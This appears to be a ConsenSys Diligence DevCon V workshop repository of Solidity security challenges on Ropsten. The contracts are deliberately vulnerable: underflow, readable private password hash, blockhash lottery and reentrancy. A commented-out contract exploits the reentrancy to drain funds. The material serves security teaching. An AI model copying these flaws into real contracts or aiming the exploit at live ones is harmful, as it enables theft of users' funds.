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README.md

// ConsenSys Diligence // DevCon V - October 2019 // Osaka, Japan

These files: https://kik.to/d5

Metamask: https://metamask.io/ Get Ropsten coins: https://faucet.metamask.io/

Solidity Documentation: https://solidity.readthedocs.io/en/latest/

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Ethereum Smart Contract Security Best Practices: https://consensys.github.io/smart-contract-best-practices

Capture the Ether: https://capturetheether.com

ConsenSys Diligence Twitter: @ConsenSysAudits

More about what we do: https://diligence.consensys.net/

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// ██████╗ ██████╗ ███╗ ██╗███████╗███████╗███╗ ██╗███████╗██╗ ██╗███████╗ // ██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔════╝████╗ ██║██╔════╝╚██╗ ██╔╝██╔════╝ // ██║ ██║ ██║██╔██╗ ██║███████╗█████╗ ██╔██╗ ██║███████╗ ╚████╔╝ ███████╗ // ██║ ██║ ██║██║╚██╗██║╚════██║██╔══╝ ██║╚██╗██║╚════██║ ╚██╔╝ ╚════██║ // ╚██████╗╚██████╔╝██║ ╚████║███████║███████╗██║ ╚████║███████║ ██║ ███████║ // ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚══════╝

// ██████╗ ██╗██╗ ██╗ ██████╗ ███████╗███╗ ██╗ ██████╗███████╗
// ██╔══██╗██║██║ ██║██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔════╝
// ██║ ██║██║██║ ██║██║ ███╗█████╗ ██╔██╗ ██║██║ █████╗
// ██║ ██║██║██║ ██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔══╝
// ██████╔╝██║███████╗██║╚██████╔╝███████╗██║ ╚████║╚██████╗███████╗
// ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚══════╝

Challenge1.sol

// ConsenSys Diligence
// DevCon V - October 2019
// Osaka, Japan

pragma solidity ^0.5.4;

// Can you have a gazillion balance?

contract challenge1 {
   
    uint256 public balance;
    
    constructor() public {
        balance = 10;
    }
    
    function buy() external payable {
        balance += msg.value;
    }
    
    function burn(uint256 amount) external {
        balance -= amount;
    }

}


//   ___  __   __ _  ____  ____  __ _  ____  _  _  ____ 
//  / __)/  \ (  ( \/ ___)(  __)(  ( \/ ___)( \/ )/ ___)
// ( (__(  O )/    /\___ \ ) _) /    /\___ \ )  / \___ \
//  \___)\__/ \_)__)(____/(____)\_)__)(____/(__/  (____/
//  ____  __  __    __  ___  ____  __ _   ___  ____     
// (    \(  )(  )  (  )/ __)(  __)(  ( \ / __)(  __)    
//  ) D ( )( / (_/\ )(( (_ \ ) _) /    /( (__  ) _)     
// (____/(__)\____/(__)\___/(____)\_)__) \___)(____)    

Challenge2.sol

// ConsenSys Diligence
// DevCon V - October 2019
// Osaka, Japan

pragma solidity ^0.5.4;

// Guess the password for the safe
// Deployed on Ropsten: 0xC224beb93142607b91d21BBd4A67a34a50E26AAB

contract challenge2 {
   
    bytes32 private hash;
    address public owner;
    
    constructor(string memory secretPassword) public payable{
        require(msg.value == 1 ether); //1 Ether Deposit required
        owner = msg.sender;
        hash = keccak256(abi.encode(secretPassword));
    }
    
    function changePassword(string memory secretPassword) public payable{
        require(msg.sender == owner); //OnlyOwner
        require(msg.value == 1 ether); //1 Ether Deposit required
        hash = keccak256(abi.encode(secretPassword));
    }
    
    function guessPassword(string memory password) public payable {
        
        require(keccak256(abi.encode(password)) == hash);
        msg.sender.transfer(1337);
        
    }

}

// _________                                      _________             
// \_   ___ \  ____   ____   ______ ____   ____  /   _____/__.__. ______
// /    \  \/ /  _ \ /    \ /  ___// __ \ /    \ \_____  <   |  |/  ___/
// \     \___(  <_> )   |  \\___ \\  ___/|   |  \/        \___  |\___ \ 
//  \______  /\____/|___|  /____  >\___  >___|  /_______  / ____/____  >
//         \/            \/     \/     \/     \/        \/\/         \/ 
// ________  .__.__  .__                                                
// \______ \ |__|  | |__| ____   ____   ____   ____  ____               
//  |    |  \|  |  | |  |/ ___\_/ __ \ /    \_/ ___\/ __ \              
//  |    `   \  |  |_|  / /_/  >  ___/|   |  \  \__\  ___/              
// /_______  /__|____/__\___  / \___  >___|  /\___  >___  >             
//         \/          /_____/      \/     \/     \/    \/              

Challenge3.sol

// ConsenSys Diligence
// DevCon V - October 2019
// Osaka, Japan

pragma solidity ^0.5.4;

// Lottery using block hash as source of randomness
// Deployed on Ropsten: 0x70707c3163575fb0eba9f291f75ff0742cb18386


contract challenge3 {
   
    uint256 public answer;
    
    constructor () payable public {
        require(msg.value == 1 ether);
    }
    
    function lottery(uint256 n) payable public {
        require(msg.value > 0); //buy ticket, it should be more than 0 
        answer = uint256(keccak256(abi.encode(blockhash(block.number - 1))));
        if (n == answer) {
            msg.sender.transfer(1337);
        }
    }
}



//   ___                           __           
//   / __\___  _ __  ___  ___ _ __ / _\_   _ ___ 
//  / /  / _ \| '_ \/ __|/ _ \ '_ \\ \| | | / __|
// / /__| (_) | | | \__ \  __/ | | |\ \ |_| \__ \
// \____/\___/|_| |_|___/\___|_| |_\__/\__, |___/
//                                     |___/     
//     ___ _ _ _                                 
//   /   (_) (_) __ _  ___ _ __   ___ ___       
//   / /\ / | | |/ _` |/ _ \ '_ \ / __/ _ \      
//  / /_//| | | | (_| |  __/ | | | (_|  __/      
// /___,' |_|_|_|\__, |\___|_| |_|\___\___|      
//               |___/                       







// contract attack {
//   doAttack (challenge3 target) public payable {
//       require(msg.value > 0);
//       target.lottery.value(msg.value)(???);
//       msg.sender.transfer(address(this).balance);
//       //selfdestruct(msg.sender);
//   }
// }

Challenge4.sol

// ConsenSys Diligence
// DevCon V - October 2019
// Osaka, Japan

pragma solidity ^0.5.4;

// Steal money from charity (For educational purposes only)
// Deployed on Ropsten: 0x315a3254ff66c387a87d1771ae4877b4782a1a7c


contract challenge4 {
   
   
    mapping(address => uint) public balances;
    
    event paid(address payee, uint amount); 

    constructor() public payable{
        require(msg.value == 1 ether); 
        balances[msg.sender] = msg.value;
    }
    
    function donate(address _to) public payable {
        balances[_to] += msg.value;
    }
    
    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }
    
    function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
          (bool success, ) = msg.sender.call.value(_amount)("");
          if(success) {
            emit paid(msg.sender, _amount);
          }
          balances[msg.sender] -= _amount; //deduct the balance
        }
    }
    
    function() external payable {}
    
}



//  ______     ______     __   __     ______     ______     __   __     ______     __  __     ______    
// /\  ___\   /\  __ \   /\ "-.\ \   /\  ___\   /\  ___\   /\ "-.\ \   /\  ___\   /\ \_\ \   /\  ___\   
// \ \ \____  \ \ \/\ \  \ \ \-.  \  \ \___  \  \ \  __\   \ \ \-.  \  \ \___  \  \ \____ \  \ \___  \  
//  \ \_____\  \ \_____\  \ \_\\"\_\  \/\_____\  \ \_____\  \ \_\\"\_\  \/\_____\  \/\_____\  \/\_____\ 
//   \/_____/   \/_____/   \/_/ \/_/   \/_____/   \/_____/   \/_/ \/_/   \/_____/   \/_____/   \/_____/ 
//  _____     __     __         __     ______     ______     __   __     ______     ______              
// /\  __-.  /\ \   /\ \       /\ \   /\  ___\   /\  ___\   /\ "-.\ \   /\  ___\   /\  ___\             
// \ \ \/\ \ \ \ \  \ \ \____  \ \ \  \ \ \__ \  \ \  __\   \ \ \-.  \  \ \ \____  \ \  __\             
//  \ \____-  \ \_\  \ \_____\  \ \_\  \ \_____\  \ \_____\  \ \_\\"\_\  \ \_____\  \ \_____\           
//   \/____/   \/_/   \/_____/   \/_/   \/_____/   \/_____/   \/_/ \/_/   \/_____/   \/_____/  




// contract Attacker {

//     challenge4 target;
//     constructor(address payable targetAddress) public payable {
//         target = challenge4(targetAddress);
//         target.donate.value(msg.value)(address(this));
//     }
//     function attack() public {
//         target.withdraw(target.balanceOf(address(this)));
//     }
//     function () external payable {
//         if (address(target).balance >= 1 ether) {
//             //The check also can be on gas
//             target.withdraw(target.balanceOf(address(this)));
//         }
//     }
// }

Challenge5.sol

// ConsenSys Diligence
// DevCon V - October 2019
// Osaka, Japan

pragma solidity ^0.5.4;

contract challenge5 {
   
    string public name;
    address private owner;
    
    //Placeholder


}


//  ██████╗ ██████╗ ███╗   ██╗███████╗███████╗███╗   ██╗███████╗██╗   ██╗███████╗
// ██╔════╝██╔═══██╗████╗  ██║██╔════╝██╔════╝████╗  ██║██╔════╝╚██╗ ██╔╝██╔════╝
// ██║     ██║   ██║██╔██╗ ██║███████╗█████╗  ██╔██╗ ██║███████╗ ╚████╔╝ ███████╗
// ██║     ██║   ██║██║╚██╗██║╚════██║██╔══╝  ██║╚██╗██║╚════██║  ╚██╔╝  ╚════██║
// ╚██████╗╚██████╔╝██║ ╚████║███████║███████╗██║ ╚████║███████║   ██║   ███████║
//  ╚═════╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ╚══════╝
                                                                              
// ██████╗ ██╗██╗     ██╗ ██████╗ ███████╗███╗   ██╗ ██████╗███████╗             
// ██╔══██╗██║██║     ██║██╔════╝ ██╔════╝████╗  ██║██╔════╝██╔════╝             
// ██║  ██║██║██║     ██║██║  ███╗█████╗  ██╔██╗ ██║██║     █████╗               
// ██║  ██║██║██║     ██║██║   ██║██╔══╝  ██║╚██╗██║██║     ██╔══╝               
// ██████╔╝██║███████╗██║╚██████╔╝███████╗██║ ╚████║╚██████╗███████╗             
// ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚══════╝╚═╝  ╚═══╝ ╚═════╝╚══════╝             

HelloWorld.sol

// ConsenSys Diligence
// DevCon V - October 2019
// Osaka, Japan

pragma solidity ^0.5.4;

// Say Hi
//Deployed at Ropsten: 0x0f6501d05272b95b8ad35c64f1939626ff01c81d

contract helloWorld {
   
    //Storage variables
    string public name;
    address private owner;
    
    //Defining events
    event Hi(string name);
    
    constructor() public {
        owner = msg.sender;
    }
    
    function sayHi(string memory _name) public {
        //change the name if owner calls
        if (msg.sender == owner) {
            name = _name;
        } 
        //call event
        emit Hi(_name);
    }
    
    //fallback function.
    function() external {
        emit Hi("Hello World");
    }

}


//   ______                           _____           
//   / ____/___  ____  ________  ____ / ___/__  _______
//  / /   / __ \/ __ \/ ___/ _ \/ __ \\__ \/ / / / ___/
// / /___/ /_/ / / / (__  )  __/ / / /__/ / /_/ (__  ) 
// \__________/___/_/____/\___/_/ /_/____/\__, /____/  
//   / __ \(_) (_)___ ____  ____  ______//___/        
//   / / / / / / / __ `/ _ \/ __ \/ ___/ _ \           
//  / /_/ / / / / /_/ /  __/ / / / /__/  __/           
// /_____/_/_/_/\__, /\___/_/ /_/\___/\___/            
//             /____/